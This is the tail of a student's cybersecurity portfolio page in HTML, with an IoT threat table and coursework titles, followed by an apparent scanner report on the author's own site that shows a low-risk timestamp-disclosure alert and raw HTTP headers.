class="align-left">Routing Security</td> </tr> <tr class="valign-top"> <td class="align-left">RFID Spoofing</td> <td class="align-left">Intrusion In Network Data Manipulation</td> <td class="align-left">GPS Location System</td> </tr> <tr class="valign-top"> <td class="align-left">RFID Unauthorized Access</td> <td class="align-left">Node Data Can Be Modified (Read, Write & Delete)</td> <td class="align-left">Network Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">Sinkhole Attack</td> <td class="align-left">Data Leakage (Data Of The Nodes)</td> <td class="align-left">Security Aware Ad Hoc Routing</td> </tr> <tr class="valign-top"> <td class="align-left">Man In The Middle Attack</td> <td class="align-left">Data Privacy Violation</td> <td class="align-left">Point-To-Point Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Routing Information Attack</td> <td class="align-left">Routing Loops (Network Destruction)</td> <td class="align-left">Encrypting Routing Tables</td> </tr> <tr class="valign-top"> <td class="align-left">Application Security</td> <td class="align-left">Privacy Violation</td> <td class="align-left">Web Application Scanner</td> </tr> <tr class="valign-top"> <td class="align-left">Data Security</td> <td class="align-left">Data Leakage (User Data On Cloud)</td> <td class="align-left">Homomorphic Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Underlying Infrastructure Security</td> <td class="align-left">Service Hijacking</td> <td class="align-left">Fragmentation Redundancy Scattering</td> </tr> <tr class="valign-top"> <td class="align-left">Third-Party Relationships</td> <td class="align-left">Data Leakage (User Data On Cloud)</td> <td class="align-left">Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Shared Resources</td> <td class="align-left">Resources Destruction</td> <td class="align-left">Hyper Safe</td> </tr> <tr class="valign-top"> <td class="align-left">Virtualization Threats</td> <td class="align-left">Resources Theft</td> <td class="align-left">Hyper Safe</td> </tr> <tr class="valign-top"> <td class="align-left" rowspan="6">Application</td> <td class="align-left">Phishing Attacks</td> <td class="align-left">Data Leakage (User Credentials Data)</td> <td class="align-left">Biometrics Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">Virus, Worms, Trojan Horse, Spyware</td> <td class="align-left">Resource Destruction & Hijacking</td> <td class="align-left">Protective Software</td> </tr> <tr class="valign-top"> <td class="align-left">Malicious Scripts</td> <td class="align-left">Hijacking</td> <td class="align-left">Firewalls</td> </tr> <tr class="valign-top"> <td class="align-left">Denial Of Service</td> <td class="align-left">Resource Destruction</td> <td class="align-left">Access Control Lists</td> </tr> <tr class="valign-top"> <td class="align-left">Data Protection And Recovery</td> <td class="align-left">Data Loss & Catastrophic Damage</td> <td class="align-left">Cryptographic Hash Functions</td> </tr> <tr class="valign-top"> <td class="align-left">Software Vulnerabilities</td> <td class="align-left">Buffer Over Flow</td> <td class="align-left">Awareness Of Security</td> </tr> </tbody> </table> <a href="https://www.sciencedirect.com/science/article/pii/S108480452030237X#sec3">Source</a> <p>As seen in this article there are a lot of different vulnerabilities in IOT devices. And not all of them can be solved with just a good security protocol.</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: November 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal27" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal28" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal29" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal30" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal31" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal23" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal33" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal34" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal35" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal36" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal37" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal38" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal39" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal40" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script src="vendor/jquery/jquery.min.js"></script> <script src="vendor/bootstrap/js/bootstrap.bundle.min.js"></script> <script src="vendor/jquery-easing/jquery.easing.min.js"></script> <script src="js/jqBootstrapValidation.js"></script> <script src="js/contact_me.js"></script> <script src="js/agency.min.js"></script> <script src="https://cdn.jsdelivr.net/gh/google/code-prettify@master/loader/run_prettify.js"></script> </body> </html>Evidence 172.16.0.2Solution Remove the private IP address from the HTTP response body. For comments, use JSP/ASP/PHP comment instead of HTML/JavaScript comment which can be seen by client browsers.
-
-
-
Risk=Low, Confidence=Low (52)
-
https://beekmans.dev (52)
-
Timestamp Disclosure - Unix (52)
GET https://beekmans.dev
Alert tags Alert description A timestamp was disclosed by the application/web server - Unix
Other info 000613396, which evaluates to: 1970-01-08 03:23:16
Request Request line and header section (192 bytes)
GET https://beekmans.dev HTTP/1.1 Host: beekmans.dev User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0 Pragma: no-cache Cache-Control: no-cacheRequest body (0 bytes)
Response Status line and header section (1047 bytes)
HTTP/1.1 200 OK Date: Mon, 06 Dec 2021 09:55:11 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive vary: Accept-Encoding content-security-policy: default-src 'self' http: https: data: blob: 'unsafe-inline' x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000; includeSubDomains; preload CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=4lOrbKK8y%2Bn8QLhKEGpB7rePrCHT1J%2BQaOZJP06h5%2BW2GkK9CRq%2Fdn7ChLzJzoJLiDaKfMYCpMPOGx7ddQ5eVNaVcohEeYRecx%2BV4c%2BapqYy04o6ANFaN3V3sF2rfmk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6b94a31e5f8a4c13-AMS alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Response body (178340 bytes)
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content=""> <meta name="author" content=""> <title>Cyber portfolio</title> <link href="vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet"> <link href="vendor/fontawesome-free/css/all.min.css" rel="stylesheet" type="text/css"> <link href="https://fonts.googleapis.com/css?family=Montserrat:400,700" rel="stylesheet" type="text/css"> <link href='https://fonts.googleapis.com/css?family=Kaushan+Script' rel='stylesheet' type='text/css'> <link href='https://fonts.googleapis.com/css?family=Droid+Serif:400,700,400italic,700italic' rel='stylesheet' type='text/css'> <link href='https://fonts.googleapis.com/css?family=Roboto+Slab:400,100,300,700' rel='stylesheet' type='text/css'> <link href="css/agency.min.css" rel="stylesheet"> </head> <body id="page-top"> <nav class="navbar navbar-expand-lg navbar-dark fixed-top" id="mainNav"> <div class="container"> <a class="navbar-brand js-scroll-trigger" href="#page-top">Cyber security</a> <button class="navbar-toggler navbar-toggler-right" type="button" data-toggle="collapse" data-target="#navbarResponsive" aria-controls="navbarResponsive" aria-expanded="false" aria-label="Toggle navigation"> Menu <i class="fas fa-bars"></i> </button> <div class="collapse navbar-collapse" id="navbarResponsive"> <ul class="navbar-nav text-uppercase ml-auto"> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#services">Services</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#portfolio">Portfolio</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#about">About</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#team">Team</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#contact">Contact</a> </li> </ul> </div> </div> </nav> <header class="masthead"> <div class="container"> <div class="intro-text"> <div class="intro-lead-in">Welcome To My Portfolio!</div> <div class="intro-heading text-uppercase">It's Nice To Meet You</div> <a class="btn btn-primary btn-xl text-uppercase js-scroll-trigger" href="#services">Tell Me More</a> </div> </div> </header> <section id="services"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Introduction</h2> <h3 class="section-subheading text-muted">My project.</h3> </div> </div> <div class="row text-center"> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-shopping-cart fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Environment</h4> <p class="text-muted">I'm using my own Hyper visor (Microsoft's Hyper-V) on a private server in my home. I can connect via a VPN that's also running on this server to my home network to remotely manage the server and manage and deploy VM's. The server is an old DELL T310 with a Xeon x3440, 24GB ddr3 registered ecc 1333mhz memory and all VM's are installed on a Crucial MX500 ssd. The server is part of the home network just like every other computer in my home.</p> </div> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-laptop fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Context</h4> <p class="text-muted">The network I'm building has as focus a webhosting company with some onsite employee's maybe a place for guests and some webservers hosting different websites.</p> </div> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-lock fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Security</h4> <p class="text-muted">The network is secured by separating the webservers from the employees and guests on their own VLAN. The network is protected by a pfsense router running custom firewalls for every interface and running Surricata to identify and block possible threats.</p> </div> </div> </div> </section> <section class="bg-light" id="portfolio"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Portfolio</h2> <h3 class="section-subheading text-muted">Cyber security.</h3> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Blue teaming semester</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal1"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/01-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Self assessment week 1</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal2"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid portfolio-image" src="img/portfolio/blue/02-thumbnail.gif" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Network diagram V1</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal3"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/03-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Network diagram V2</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal4"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/04-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Secure connections</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal5"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/05-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">IDS/IPS</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal6"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/06-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Information Security and Risk Analysis</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal7"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/07-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">IT Monitoring</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Red teaming semester</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal8"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/08-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">SQL injection</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal9"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/09-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Command injection</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal10"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/10-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Cross-site scripting</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal11"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/11-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Cross-site request forgery</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal12"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/12-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Path traversal</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal13"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/13-thumbnail.jpeg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Password cracking</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal14"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/14-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Network scanning and enumeration</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal15"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/15-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Network sniffing and spoofing</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal16"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/16-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Law, Ethics and Responsible Disclosure</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal17"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/17-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Basic hacking process</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal18"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/18-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Self reflection</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Internship</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal19"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/internship/19-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S5</h4> <p class="text-muted">My internship</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Minor</h4> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Red teaming specialisation</h5> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal20"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/20-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Pentesting methods</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal21"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">HTB Linux write-up</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal22"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus 